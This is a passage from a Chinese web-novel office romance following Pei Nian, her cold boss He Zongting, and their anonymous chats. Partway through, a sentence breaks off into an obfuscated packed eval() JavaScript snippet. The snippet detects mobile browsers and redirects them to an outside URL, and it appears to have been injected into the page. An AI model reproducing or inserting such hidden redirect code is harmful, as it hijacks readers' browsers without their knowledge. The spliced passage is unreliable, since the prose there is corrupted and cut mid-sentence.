陈窈笑容凝滞了一瞬,又很快恢复,她尴尬地转了下咖啡杯:“确实是,你不提醒我真忘了,谢谢啊。” 她说着拿出手机走了过来。 “没关系,同事之间应该的。”裴念把小票展开,问呆住的张芮之:“三十八块九,转你三十八可以吗?” 张芮之忙不迭点头,向陈窈亮出收款码:“可以的。” 陈窈转完钱笑容才下去些:“你们玩儿,我还有资料没看完。” 裴念理解地点头:“那你先忙。” 陈窈离开后,休息室才又恢复热闹,原本瘫在沙发上的同事纷纷起身朝裴念围过来。 “小裴,你勇啊。” “刚刚陈窈那个尴尬的表情看得我好爽。” “以后你就是咱策划的咖啡侠。” 张芮之没加入调侃,她收过钱才觉得不安,低声对裴念说:“对不起啊念念,因为我这点钱让你得罪人。” 其实裴念叫完陈窈就后悔了,这份工作对她很重要,她是想安安分分一直混到退休的。 可眼看着同事被欺负,不做点什么她心里过意不去。 头已经出了,再焦虑也无用,裴念淡声安慰张芮之:“没事,她不至于因为一杯咖啡记恨我。” “这可不是一杯咖啡的事,”赵童说:“你可是这些天来第一个敢反驳她的人。” 张芮之更加忧心,联想道:“她要是去贺总面前抹黑你,让贺总对你有意见怎么办?” 贺家老爷子七十大寿的时候,裴念曾随父母一同前去道贺,当时席间发生了一件令她记忆犹新的事。 贺家旁枝两个少爷闲着无聊在湖边玩水,路过的佣人不小心将水洒到其中一人身上,张扬跋扈惯了的两人将其推进湖内拿棍子取乐,这事正巧被贺宗霆看到,抽走棍子将两人打了顿狠的。 席间宾客都在嘀咕贺宗霆薄情,坐在角落的裴念却觉得他做的对。 即便那时的贺宗霆对她的态度很是冷淡。 她摇了摇头:“我听说贺总为人正直,我觉得他不会轻易听信谣言。” “也是,贺总不是那种人。”目睹贺宗霆救人的张芮之表示赞同。 快到上班时间,大家不再闲聊,起身离开休息室。 休息室里间的茶室传出一声笑,研发部的顾总朝对面坐着的男人抬抬下巴:“贺总,没想到在我这儿还能听到你的八卦。” 这间休息室原本是空的,临时给前来学习的策划小组用来午休,顾总一时忘了,带贺宗霆来茶室喝茶,正巧看了个现场。 贺宗霆端起茶杯抿了一口:“那人我不认识。” 顾总了然地挑挑眉,贺家这样的地位,总有些旁枝末节的人上赶着攀关系,没想到这次竟然攀到当事人面前了。 看出贺宗霆不想再聊这个话题,顾总若有所思地看向休息室:“那个姓裴的姑娘挺有意思,性格不卑不亢的,长得也出众,不知道能不能看上我那个废物儿子。” 顾总到了快退休的年纪,只剩下儿子没结婚这一个糟心事,看到优秀女孩就忍不住琢磨。 贺宗霆放下茶杯,杯底在桌面上敲出不大不小的动静:“他们来这儿是工作的。” “是,是。”顾总听出他语气中的不虞:“我就是随口一说。” / 不知道为什么,自那天之后,陈窈没再主动招惹过同事,而更奇怪的是,公司居然给前来学习的员工配备了班车,员工不用再担心回不了家的问题。 没了后顾之忧,裴念再加班安心不少,她以前没接触过新能源相关的信息,因此工作格外用功,接下来的几天几乎每晚都坐最晚的班车离开。 和她一样热衷加班的还有另一个人。 连续两天在楼下碰到那辆熟悉的库里南之后,再下班,裴念变得小心翼翼,生怕一个不小心撞见互相没话说的贺宗霆,好在两人磁场不合,并没有发生这种情况。 在基地学习的最后一天,杨泽和裴念一起修改完汇报的内容才下班,等电梯的时候,裴念例行祈祷别碰到某人。 这次却因为杨泽也在,影响了磁场,电梯一到站,里面赫然站着带着助理的贺宗霆。 好在人多,气氛不至于太诡异,裴念跟在杨泽身后进电梯,打完招呼后,默默站在角落假装空气。 杨泽为人热情,见不得气氛冷,电梯门一关就找话题:“贺总,多谢您安排了班车,现在大家上下班方便多了。” 班车最大受益者裴念听完后立即抬眸,在镜面门上和一双金棕色的眼睛对上视线。 ? 杨泽说话,贺宗霆为什么看她。 裴念咽了咽嗓子,揣摩圣意,得出自己也需要奉承的结论,当即附和:“就是就是,方便多了。” 贺宗霆这才移开目光:“不清楚,行政做的。” “原来是这样。”夸错人了,杨泽后悔自己的热情,讪讪笑了笑不再硬聊。 裴念也继续垂眼当作自己不存在。 一直沉默的高理眸光复杂地瞄了眼贺宗霆。 汇报的前一天晚上,裴念在家对着大壮练习到深夜,一直到大壮不满地梆梆打了她几拳,她这才放下电脑。 连续加班近一周,裴念几乎没时间仔细照镜子,洗完澡擦镜面时才看清自己现在的模样,肤色暗淡,眼下挂着淡淡的青灰,一副被抽干精气的干尸模样。 她久违地翻出一张面膜贴上,想到明日的汇报紧张兮兮地找H求安慰。 【我明天有个重要的工作,你说我要不要打扮一下呢?】 H:【怎么打扮?】 裴念想了下:【穿得漂亮点,画个妆什么的】 贺宗霆回想以前和裴家吃饭,裴念似乎是打扮过,但他当时并没注意,觉得和她现在素面朝天来上班的模样没什么不同。 于是问:【有什么区别?】 裴念自己也看不太出来,只得说:【好像也没什么大的区别……】 她补充道:【而且我们老板很冷漠,根本不会注意到员工长什么样子,只看工作能力。】 H:【那很专业了】 裴念回想贺宗霆那张古井无波的脸:【是的呢。】 消息发出去,时间正好跳到凌晨十二点,她打了个哈欠,和H说了晚安,就关灯睡觉。 这一觉睡得很好,裴念早早醒来,离出门还有很长时间,她干脆就收拾了一番,没区别就没区别吧,就当是打发时间。 她从衣柜找出一条偏正式的蓝色衬衫裙,又快速化了个淡妆,临出门还喷了点木质调的香水。 裴念自认为她的这番打扮确实和平时没太大区别,到公司却引起了同事的哗然。 “小裴,你今天漂亮的我快认不出来了。” “她一直很漂亮好吧,来入职的时候,其他部门好多男同事往咱这儿跑。” “得,今天他们还得找借口来。” 杨泽从总监办出来,看到裴念顿了几秒钟才出声解围:“行了,都别围着了,收拾收拾去会议室,一会儿贺总来听汇报。” 提起工作,大家不再闲扯,统统回到工位收拾等下会议要用的东西。 杨泽目光转向裴念:“等下汇报别紧张,加油。” 裴念握拳比划了下:“我会的。” 等大家坐好后,贺宗霆才带着助理进会议室,他进来后就直接坐在第一排预留的位置,指骨敲了下桌子,对总监说:“开始。”看都没看下面,似乎不想浪费一秒钟的时间。 汇报按照小组顺序,裴念排在第三个,她紧绷的情绪,一直到前两组的组员汇报完才松了口气。 一周加班并非一无所获,她现在已经将公司产品了解得透彻,并且对自己熬夜赶出来的汇报内容很有信心。 只是—— 她不动声色朝前排那个身影看了一眼,希望她当着贺宗霆的面不会露怯。 但她对此并没太多担忧,据她观察,前两个人上去汇报时,贺宗霆全程都没抬头,只偶尔记个笔记。 不得不说,作为老板,贺宗霆很负责。 终于轮到她上场,她抱起笔记本去到屏幕前,才站定,就听台下传来很轻的议论声。 裴念抬头看过去,发现是其他部门的几个男同事,她露出一个淡淡的笑容,先大方地做了自我介绍,随后打开了自己的ppt。 正式讲的时候,清晨的阳光正好从落地窗洒了进来,毫不吝啬地将她包裹其中,得体修身的连衣裙勾勒出她纤薄的身形,四肢修长洁白,有种出尘的美。 讲完一页,裴念低头换页,余光掠过台下,看到贺宗霆不知道什么时候抬起了头,目光似乎就落在她身上。 裴念怔了怔,下意识抬眸。 等她看过去的时候,贺宗霆已经收回了视线,神色如常地记笔记。 大概是她看错了吧。 贺宗霆刚刚应该是在看屏幕。 裴念不再纠结,继续做汇报,她的汇报内容实在漂亮,并对总监提的任何问题都对答如流,结束时,总监甚至给她鼓了鼓掌。 说完他还开屏似地问此前一直沉默的贺宗霆:“贺总,您觉得小裴的汇报怎么样?” 裴念光明正大看向贺宗霆,这一刻,他们之前的种种都不必再提。 她站在这儿,仅仅只是一个员工,希望得到老板的一句赏识。 贺宗霆搁下钢笔,掀眸和她对视:“不错。” 裴念攥紧了资料,第一次在他面前露出毫无防备的笑容:“谢谢贺总,我会继续努力的。” 为了不耽误下位同事的汇报,裴念快速收拾完东西下台,脚步太匆忙,她没注意到自己的裙边从贺宗霆手边的桌角拂过。 冷气缭绕的会议室飘过一缕很淡的木质香气,贺宗霆嗅觉灵敏,但也只闻到一瞬。 忽然,手机叮的一声进来一条消息。 他拿起手机,屏幕却是暗的。 总监快速按下手机静音键,低声道:“抱歉贺总,我忘记给手机静音了。” 贺宗霆嗯了声,不动声色转了下笔。 / 公司例行团建聚餐,周五一下班,同事三三两两一起去公司包下的酒店。 下班前,裴念才知道公司此次订的酒店是柏誉,去酒店的路上,她就按捺不住激动的心情给军师顾免发去了消息。 【公司组织去柏誉聚餐,我如果碰到黄晟的话,要和他打招呼吗?】 顾免大概在忙,她消息发出去半小时都没得到回音。 进包间吃了一轮菜,顾免的消息才回过来:【别想了宝贝儿,黄晟最近忙着做潮牌,应该不在柏誉,你和他线上聊得怎么样?】 和顾免汇报完情况,裴念发现包间内的同事开始陆陆续续离席,她问坐她旁边的张芮之:“大家干什么去了?” “去给贺总敬酒。”张芮之往她杯子里倒了点酒:“一会儿咱们也去呗。” 自上次汇报,裴念现在面对贺宗霆已经不再别扭,只纯粹当他是老板。 既然是老板,敬个酒也没什么,她点头:“好啊。” 工作比预想的顺利,裴念心情不错,去敬酒前已经喝了一杯红酒,她酒量不算差,但身体反应明显,起身时,两个耳朵已经红了。 她平常不是爱出风头的人,还有些微的社恐,因此去给贺宗霆敬酒的时候,她跟在几个同事后面,只露出小半张脸。 贺宗霆今晚自己开车,以茶代酒微抬了下杯子,余光看到站在墙角的裴念。 即便是隔着这么多人,贺宗霆也一看出她满脸醉态,喝成这样,居然还学别人跑来给老板敬酒。 贺宗霆轻哼一声,周遭的人精立刻察觉到龙颜不悦,摆摆手让前来敬酒的人离开。 大家识趣地朝包厢门转身,一时间造成了交通堵塞,裴念被身后的同事踩了一下脚后跟,身形一个趔趄,忙扶住椅背站稳。 起身后她本能地朝主位上的男人看了眼,贺宗霆的脸色比刚才更臭。 谁又惹这祖宗生气了。 总不能是她吧。 裴念讷讷错开视线,眼观鼻鼻观心地跟在同事身后出了包间。 聚餐结束的时候已经是晚上十点,裴念虽然又喝了几杯酒,但意识清醒,加上觉得时间不算太晚,她步行去地铁站。 柏誉所在的街道再往前两个路口是个酒吧街,垭口附近常年盘踞着一些年轻的混混,今天也不例外。 裴念加快脚步走过,走到中段却被两个混混模样的男生拦住:“美女,晚上好啊。” 她瞥了一眼两人颜色各不相同的发色, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275952|198240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猛地偏了一下身体,小跑着朝对面跑去。 红毛不由分说也跟着她跑:“美女,你别误会,我们是前面理发店的主理人,我们店正在做活动,你看看嘛。” 黄毛追上来一脸冷酷地将一张宣传页和一沓优惠券塞到了她手里。 裴念没有染头发的意思,边走边摇头:“没钱,这个月房租还没交,吃饭都是问题。” 红毛还想说什么,黄毛拦住他:“算了,她看起来确实没什么钱。” 他们看起来真的只想招揽生意,但裴念还未放下提防,往前走了几步,一回头发现他们还跟在自己身后,立刻掏出手机准备报警。 黄毛烦躁地捋了把头发,指着沿路一家上下两层的店面说:“我们不是故意跟你,前面就是我们店,不信你看宣传页!” 裴念将信将疑凑近传单看,还未看清,一道刺耳的车鸣在人行道下方响起。 三个人皆是吓了一跳,齐齐朝便道看去。 正暴躁的黄毛想要开骂,看清车头的标志,又把那声艹咽了回去,下颌点点裴念:“你认识?” 看不清车牌,也觉得不可能,裴念攥着包袋摇头,想趁乱溜走。 库里南的车门啪嗒开了,贺宗霆从车上下来,远远叫她:“裴念。” 裴念虽不清楚贺宗霆叫她的目的,但还是快步挪动到库里南车前:“贺总,您还没走啊。” 贺宗霆没理会她的寒暄,视线警告地看向人行道上两脸懵逼的混混,吩咐她:“上车。” 裴念听话的打开副驾驶车门坐了进去,系好安全带才开始猜想眼下的状况,难道贺宗霆以为她被混混尾随,所以要送她回家。 很快贺宗霆上车问了她家的地址,证实了她的猜测。 现在再解释未免尴尬,裴念只好顺应他的,衷心地对他表示感谢。 贺宗霆听完没什么反应,看起来仍不是很高兴的样子。也是,原本就要回家了,却碰见下属疑似被骚扰,不帮忙不符合他做人的行为准则,帮忙又实在麻烦。 裴念理解贺宗霆此刻的烦躁,很是体谅地放轻呼吸,减少自己的存在感,不知不觉竟然睡着了。 / 经过繁华街区,库里南堵在红灯下。 听着耳边轻浅的呼吸声,贺宗霆确认了一件事。 裴念克他。 自柏誉重逢那天起,她就以各种各样令人意想不到的方式出现在他眼前,这让他时常怀疑,京市是否有地图上显示的那么广阔。 前方的车朝前走了半米,他松开脚刹也向前挪动一些,车轮碾压过减速带,车身几乎感觉不到这点变化,副驾驶上睡着的人却醒了。 裴念惺忪睁开眼,本能地抱住了裸露的手臂,指尖触碰到冰凉的皮肤,才发觉冷。 迟来的酒劲儿袭上大脑,她头脑发蒙,短时间没想起自己在哪,直到耳畔响起一道低沉的嗓音喊她的名字:“裴念。” 她缓缓转头,对上贺宗霆模糊的轮廓:“嗯?” “你冷?”贺宗霆问完打开了顶灯。 裴念看清他的眼睛,是温暖的金棕色,她懵懵地靠了过去,直到肩膀被一双大手钳住。 贺宗霆蹙着眉质问:“你要做什么?” 裴念回过神来,不清楚自己的身体发什么疯,局促缩回座椅:“我,我想调空调温度。” 贺宗霆没揭穿她拙劣的谎言,抬手将空调温度调高:“坐好,别乱动。” “好的贺总。” 裴念老实坐好,没敢再睡,默默看着窗外,数着到家的时间。 约莫过了十分钟,贺宗霆的手机响了起来,因为在开车,他打开了免提。 一道慵懒的嗓音瞬间充斥车厢:“贺总,还忙着呐?” 裴念精神一振,悄悄往放在中控台上的手机瞄了眼,果然是黄晟。 心跳难以抑制地加快,她抿紧嘴唇,一动也不动,生怕贺宗霆发现自己在听而取消免提。 贺宗霆:“没,你有事?” “给老爷子买的茶饼到了,你这会儿要是不忙过来一趟?” 贺宗霆扫了眼导航:“我大概一个小时后到。” “不能再早点?”黄晟说:“我半个小时后去机场,明早有个合作要谈。” 贺宗霆:“行,我现在过去。” 挂断电话,贺宗霆将车停进临时车道,侧目看过来:“我现在得去趟朋友家,你是在车上等,还是现在下车?” 他虽然给出了两个选项,但车却停在了地铁口,逐客意味明显。 想见黄晟的念头覆盖了她的羞耻心,裴念咬咬牙,厚着脸皮问:“裴总,我在车上等行吗?” 贺宗霆看着她算得上央求的表情,握着方向盘的指尖磨了下,将车驶离了地铁口:“随你。” / 黄晟家在一片昂贵的别墅区,贺宗霆的车是常客,系统识别到车牌直接放行。 行驶了一分钟左右,库里南停在一幢装修风格年轻的别墅门前,贺宗霆下车前见裴念还醒着,就吩咐她在车上等。 眼下这种情况,裴念也没勇气下车直面黄晟,点头说好。 看着贺宗霆输密码进入别墅后,裴念伸着脑袋一瞬不瞬地看着别墅的大门,期待等会儿贺宗霆出来的时候,她能顺便看一眼黄晟的身影。 或许是她态度虔诚,丘比特听到了他的心愿,居然真的安排黄晟从门内走了出来。 别墅门厅上方悬挂着一盏吊灯,黄晟穿着轻薄的家居服,懒懒靠在门框,和手中拎着袋茶饼的贺宗霆说着什么。 库里南隔音太好,裴念屏住呼吸也仅能听到几个简单的音节,趁着没人注意自己,她默默将车窗降下了一条缝。 黄晟却敏锐地听到了这点动静,挑着眉朝车看过来。 贺宗霆也转过头来,视线直接睇向副驾车窗。 隔着庭院,车内关着灯,彼此都看不清对方的模样,但被他们这么看着,裴念的心跳还是扑通漏了一拍。 心动和心虚夹杂在一起变成了心悸。 即便看不清人脸,黄晟还是大致看出那是一个女人,这种情况放在其他人身上是常态,放贺宗霆身上算得上稀奇。 他立刻来了兴趣,双手插兜吊儿郎当地走下门厅:“霆哥,这是我第一次在你车上见到女人,不给我介绍介绍?” 黄晟离车越来越近,裴念攥紧指尖,不知道等下要和黄晟说些什么。 贺宗霆还站在原地,平声叫了他一声:“黄晟。” 黄晟立即停下脚步,耸耸肩返回了门厅,手指在嘴前方做了个拉链的动作:“不该问的不问。” 贺宗霆下巴朝室内的行李一点:“去收拾,别误机。” 黄晟点头:“放心。”回屋之前,他躬身在贺宗霆身上闻了闻,又忍不住打探一句:“车里那位喝酒了吧?” 贺宗霆不置可否抬眉。 “你等我一下,”黄晟快速进入室内,再出来时手上多了瓶茶饮:“这个解酒很有效。”说着他狡黠地冲库里南的方向扬声喊:“美女,这我给你的见面礼。” 贺宗霆冷脸接过,上车后随手放在了门边的储物格。 库里南开出别墅区,驶向大路的方向,裴念硬等了十分钟,也不见贺宗霆有把那瓶茶拿给她的意思。 难道他忘了? 裴念很轻地清了清喉咙,小声说:“贺总,那瓶茶…” 贺宗霆侧目:“你还在醉酒?” 根本没喝醉的裴念点头:“…还有一点。” “他在骗你。” “啊?” “就是瓶普通饮料,不解酒。” 裴念才不管能不能解酒,她只知道那是黄晟亲口说要给她的见面礼,可贺宗霆说完这句话就专注开车,不想继续聊天的样子。 她失落地抠了抠座椅:“好吧。” 裴念这么说着,心里仍惦记着那瓶本该属于她的饮料。 在她不知道第几次将目光瞥向储物格的时候,贺宗霆终于忍不住,在红灯前停下质问:“你就是想喝饮料。” 裴念简直要感谢他的台阶,双眼饱含期冀地看着他:“是的,我真很想喝。” 贺宗霆被搞得没脾气,空出一只手将饮料瓶递给她:“下次有话直说。” “好的好的。”裴念沉浸在失而复得的喜悦中,虔诚地伸出双手去接,指腹覆盖上微凉的皮肤才意识到不对。 她竟抓住了贺宗霆的手背。 看着他瞬间眯起的眼睛裴念猜到,圣上不喜欢被人碰。 她倏地松开手,饮料也不敢再拿。 裴念快速在脑海里搜刮缓解尴尬的话:“…贺总。” 贺宗霆没想到裴念竟大胆到在车上对他耍流氓,耍完居然还作出这么一副诚惶诚恐的表情,好像她才是那个坏人。简直倒反天罡。 他冷漠地审视裴念,看她要如何狡辩。 裴念抬起唇角,温柔地问:“您手好冰啊,是不是体寒呢?平常一定注意多休息,热水也别忘了喝…” 贺宗霆:“。” 手段还真是了得。 7. 第 7 章 周末的酒吧人满为患,昏暗的大厅内不时闪过镭射灯球的强光,劲爆的电音刮人耳膜,舞池内狂欢的人群迷醉着享受其中。 VIP包间的墙壁隔绝了大部分的噪音,只余几个鼓点闷声敲击墙面。 贺宗霆慢条斯理握着杯酒和黄晟说话,不时抿一口酒。 黄晟爱热闹,没一会儿就抄起手机打了通电话,叫了几个朋友来玩。 人来的快,但比意料中多了几个。女人。 席雯进来后直接坐到了离贺宗霆最近的位置。 “贺总,好久不见。”她说话时上身朝他微微倾斜。 包间内的其他人见状都会心一笑,心里门清席雯今晚就是冲贺宗霆来的。 以贺家的地位其实无需联姻,但贺宗霆已经到了谈婚论嫁的年纪,京内各世家都蠢蠢欲动。 席家近些年的势头很猛,而且席雯长了张明媚勾人的脸,圈内不是没人传过她能嫁进贺家。 贺宗霆微微颔首,淡声敷衍了句。 没有继续和她聊下去的意思。 席雯之前在慈善晚宴上和他有过一面之缘,当时就移不开眼,知道他性情淡漠,怕没话题,来之前她还专门做了功课。 “听说贺总近期都在忙跃维的项目?” “嗯。” 贺宗霆放下空了的酒杯,席雯体贴地拿起酒瓶给他斟上:“我之前还想去跃维工作,可惜二面没过,要不然我们就是同事了。” 话说到最后,席雯语调里已经带上了羞赧。 有人不嫌事儿大地调侃:“席大小姐,我看你是醉翁之意不在酒,你心里想的是去跃维就能天天见到贺总了吧。” 席雯嗔怪地瞪了那人一眼,没有反驳。再看向贺宗霆时,发现他视线落在手机屏幕,不知道在想什么。 怕是他因调侃不悦,席雯柔声解释道:“我学的是机械,对口的公司里跃维实力最强,我是真心想去工作。” 说着,她把酒杯端起来递给贺宗霆,不知是不是无意,指尖按着他嘴唇碰过的杯缘。 “那就继续努力。”贺宗霆避开她的手,从杯颈接过,放在茶几后,没再碰。 席雯尴尬地撩了撩头发,调情聊成了面试,她不甘心,酝酿着想再找个新话题。 鼻腔萦绕着浓郁的女香,花果调,贺宗霆不喜欢,香气的主人还想继续凑近,nn这时来了信息。 【刚刚给家里进行了大扫除,我现在要累死了==】 毫无意义的情绪宣泄,放在平常他不一定回。 但今天好歹能帮他规避令人不适的社交,贺宗霆拿起手机:【都干了什么】 nn:【拖了两遍地板,桌子都擦了一遍,脏衣服都洗完晾起来了。】 nn:【还有四件套都换了新的,现在整个房间前所未有的干净!!】 裴念一如既往向他事无巨细地展示生活,贺宗霆顺着话回:【有多干净?】没意识到这句话带着轻微的挑衅意味。 nn:【我给你发照片!】 贺宗霆不知道她发什么疯,皱眉打字:【不必】 裴念一连串的照片已经发了过来。 嗡嗡嗡嗡嗡嗡—— 聊得正起劲的众人齐刷刷朝贺宗霆和他手中的手机看过来。 因被冷落而默默坐远的席雯满心疑惑,谁这么大胆子,居然在贺宗霆休息时间对他进行信息轰炸。 黄晟直接起身凑进,眼珠子直勾勾盯着他的手机屏幕。 贺宗霆黑着脸退出聊天框,眼尖的黄晟还是瞥见了来信人的名字。 nn。 “这个呢呢是谁啊?”黄晟坏笑:“好暧昧的昵称,是上次坐你车的美女?” 贺宗霆这次直接熄屏:“没谁。” 黄晟不依不饶,摸着下巴猜:“没听说过圈子里有谁小名叫呢呢啊……”他朝好奇心快蹦出来的众人挑挑眉:“你们有人知道吗?” 贺宗霆抬眉,淡淡看了他一眼。 黄晟话锋一转:“诶,最近城东那个设计展谁去看了?” 众人立刻接下话头,把好奇心咽回了肚子里。 手机又响了声。 这次是高理,有个文件需要他看一下。 贺宗霆打开文件界面,推开门,到露台上看。 文件没问题,他收起手机,犹豫了几秒,再次拿起手机,打开了和nn的聊天框。 裴念誓要向他证明自己,将家里每个打扫过的角落拍了过来,贺宗霆没有耐心全部检查,点开了最底部的那张。 是她的卧室。 橙黄吊灯下,米色的床品铺得整整齐齐,床边摆着个原木座椅,扶手上挂着用过的灰色浴巾,浴巾潮湿的阴影上还搭着件内衣。 纯白色,缎面,在光下泛着细碎的光泽。 露台的门关着,室内冷空气被隔绝在内,夏夜燥热的空气在他脚下的方寸之地肆虐。 就在他笃定裴念这是蓄意勾引时,倏地,照片在他手机屏幕中消失。 nn撤回了一条消息。 随之,聊天框上方,间断地出现“对方正在输入中”的字样。 贺宗霆从口袋里摸出烟盒,抽出一根。咬在唇边。等着。 漫长的两分钟之后。 nn:【你没看到什么奇怪的东西吧?】 贺宗霆一手把玩着打火机,一手打字:【什么】 nn像是放心下来,回得很快:【…没什么】 然后扔出来一张打哈欠的表情包。 nn:【我准备睡了,如果能听到一声晚安的话就太好了[期待][期待]】 贺宗霆拨动砂轮,点燃烟蒂,隔着稀薄的烟雾打下两个字。 【晚安】 / 裴念发现,只要给H发照片,他就会变得好说话很多。于是,再和H分享日常,她在不暴露身份的情况下都会配图。 广告部和销售部之前拟定的宣传活动正式开始,策划每个组除了组长还要派出一个人跟现场,三组开会商量之后,由还未参加过活动的裴念前去。 活动在各大商场轮转,为了企业形象,公司为参与活动的员工配备整套的制服,女员工同男员工一样都是衬衫搭配西裤,唯一不同的是女员工的皮鞋带跟。 怕衣服不合身,裴念在公司领过衣服后,直接去休息室试穿。 摸到实物,她就知道这套衣服用料极好,穿上身之后,剪裁的优秀也体现了出来,挺阔的浅蓝衬衫将她肩颈线条修饰得笔挺,下摆束进廓形西装裤,显得人干练又精神。 唯一的不足是,裤子的腰围稍微大了一些。 裴念比划了一下多出的裤腰,觉得问题不大,回家找个按扣就能解决。 休息室的柜门上有穿衣镜,裴念对镜拍了张全身照,发给了H,然后才坐下来换衣服。 衬衫脱了一半,裴念忽然想起穿衣镜上方有公司的标志,心里一惊,手忙脚乱地捞起手机把那张照片撤回。 照片虽已撤回,骤然加快的心跳却还未平复,她坐在穿衣凳上安慰自己,白天正是H忙的时候,他未必看得到这条消息。 正想着,H:【?】 裴念:“……” 她心虚地摸了下鼻子:【没什么,发错人了> 贺宗霆拿着手机的指尖一顿,裴念发来的那张照片他碰巧掠过,是她穿着修身笔挺的制服照,因为扭身拍照的缘故,纤细的腰绷成薄薄的一片。 看似正经的一张照片,因为室内光线昏暗而变得多了份暧昧的氛围。 他不觉得这是能给任何人发的照片。 裴念等了一会儿,以为H不会回了,正要收起手机,对话框却又蹦出消息。 H:【你本来想发给谁?】 不知道是不是错觉,裴念觉得H这句话带着些许不满,她猜可能是因为H工作被她打断的原因。 裴念:【腰围有点大,想发给修衣店问能不能改。】 她解释完,知趣地说:【你忙吧,不打扰你了。】 回到工位,裴念去茶水间冲了杯咖啡,看到H给她回了个【哦】。 即便出发前裴念就已经被杨泽提醒过,做活动比办公室辛苦得多,但一整天活动跑下来,还是给她累得够呛。 到家后,她抱着大壮回了好一会儿血,才提起劲儿去浴室洗澡。 窝在沙发上涂身体乳的时候,她发现脚后跟的位置被高跟鞋磨破一块皮肤,露出内里鲜红的组织。白天忙得脚不沾地,都没意识到脚后的不适,这会儿发现伤口才觉得疼。 裴念一瘸一拐地去柜子里翻出药膏,抹上药之后,觉得自己不能白疼,便对着伤口拍了张照,给H发了过去。 又说:【好疼。】 其实还好,她抱着手机狡黠地眯眼,等H上钩。 过了会儿,H果然咬住鱼饵:【怎么弄的?】 裴念:【穿了一天高跟鞋磨的[苦涩]】 预想中的关心并未出现,H不解风情道:【换双鞋】 高跟鞋是公司统一配的,代表着公司的形象,裴念没想过私自更换,即便自己的脚因此受了伤。这是她作为一个小员工的生存妥协,她觉得从小锦衣玉食的黄晟未必明白这个道理。 裴念找出高跟鞋拍给他看:【贴上这个就没事了。】 H这时突然开了窍:【穿高跟鞋是工作需要?】 裴念:【对呀。】 H:【向你的上级请示更换】 他显然做惯了决策者,提出的方法直接而粗暴,不适合她这种还在实习期的职员。 但裴念心口还是软了下,糊弄道:【知道啦[敬礼][敬礼]】 不想就此结束聊天,她闲聊道:【最近工作好累,但是很开心。】 H:【累还开心?】 裴念伸了伸懒腰:【对啊,虽然累但学到了很多,每天都很充实!】 其实刚毕业那会儿,裴念对未来充满了迷茫,旁人都说她离开了裴家什么都不是,她曾经也一度这么认为。然而她真正靠自己在跃维工作下来后才发现,她的人生远没有他们口中那么糟。 H显然也是这么认为:【[强][强]】 裴念翻了下日历,离她发工资的日子不远了,想到面试时谈好的薪资,她对H开屏:【而且我的工资有小五位数哦,未来还会继续涨。】 可惜这点钱对于黄晟来说根本不够看,但他还是奉承道:【不错】 裴念抱着手机傻笑了一会儿,开玩笑说:【据说在老板面前多献殷勤会加快涨薪,我要不要试试看呢?】 H:【…】 / 贺宗霆和人谈完合作,从会所出来的时候,街道上已然华灯初上。 上车后,高理等他坐稳才发动引擎,下班高峰期,车子堵在十字路口,东南侧的商场亮着巨幅海报,上面印着跃维的标志和线条流畅的车型。 贺宗霆视线瞥到:“今天在这儿做活动?” 高理对公司活动了如指掌,转头告知:“是的贺总,今晚赶上商场周年庆,活动要到十点半。” 贺宗霆颔首,远远看到几个穿制服的人在忙碌。 高理揣摩着他的神情问:“您要不要去看看?” “也行。” 轿车停在商场地上停车场,高理率先下车,等贺宗霆下来时,他亮出手机上的名单:“裴小姐今天也在。” 贺宗霆关车门的动作顿了一顿:“不用特意强调。” 高理恭敬地垂眼:“好的,贺总。” 杨泽是第一个发现贺宗霆来的人,他放下手头的工作,快步走了过来。 “贺总,您来看现场?” 贺宗霆点头:“有没有什么问题?” 杨泽说了几个策略上的疏漏,但都已经被解决,他说:“目前就今天试驾的人最多,小裴做的儿童乐园立大功了。” 贺宗霆视线朝车展旁搭建的简易城堡扫了眼,一群小孩儿正排队上滑梯,一个纤细的身影正背对他们维持秩序。 他挑挑眉:“试驾名单我看看。” 杨泽带他到休息区坐下,朝城堡边的人招手:“小裴,你来。” 裴念看到座位上的贺宗霆怔了下,冲他点头打了声招呼,然后按照杨泽的嘱咐去找销售部拿名单。 回来时,她把名单夹在腋下,双手各端一杯茶。 一杯放在贺宗霆面前的桌上,一杯递到了高理的手中。 高理没想到自己也有,笑着说:“谢谢。” 贺宗霆面无表情敲了下桌面,朝裴念伸手。 裴念忙把文件放他手里。 贺宗霆翻看名单的时间里,裴念站在一旁,不时地微微换下站姿。 她两只脚后跟虽都贴了创口贴,但长时间一个姿势站着仍感到钝痛,只能靠换姿势缓解。 贺宗霆只看了前两页便合上文件,目光似有若无从桌下掠过。 把文件交给裴念之后,他问:“这几天的活动报告写了么?” 裴念没想到贺宗霆会这个时候要:“只写了大概…还没系统地整理。” 贺宗霆嗯了一声:“去按照日期整理好,拿来给我看。” 面对老板突如其来的抽查,裴念心有怨念,脸上却仍带笑意:“我现在去。” 杨泽不知道裴念什么时候惹到老板,在裴念离开时安慰地拍了拍她的肩膀。 有人叫他,杨泽同贺宗霆说了下就先行过去,转身时看到贺宗霆对高理吩咐了句什么。 裴念到临时办公室整理好报告,去到外面时,贺宗霆还在沙发上坐着。 她走过去,放下报告后,听贺宗霆说:“坐。” 老板让坐,她哪能站着。 裴念听话的走到对面沙发,发现沙发不知道什么时候多了个鞋盒,可能是哪个同事买的忘在了这里。 她拿起盒子后坐下,正要放到一旁的柜子上面,贺宗霆掀眸朝她看了一眼:“试试。” / 裴念呆怔了好一会儿才消化掉贺宗霆给她买鞋这件事。 盒子里是一双纯白的板鞋,是展厅隔壁的热门运动品牌,裴念刷到过这款鞋的宣传,说是日走两万步都不会累。 因为太过震惊,裴念动作机械地把鞋放到地板,才想起抬头谢主隆恩:“谢谢贺总。” 她穿鞋前看了眼码数,和她的脚差半码,正要换上,高理走过来问:“尺码合适吗?” 裴念看到他手中的笔记本,上面统计着其他女员工的鞋码,她瞬间明白过来,原来是高理给她买的鞋。 她瞬间松了口气,淡笑着点头:“很合适,谢谢你高助理,你真细心。” 高理不自然地笑了下:“合适就好。” 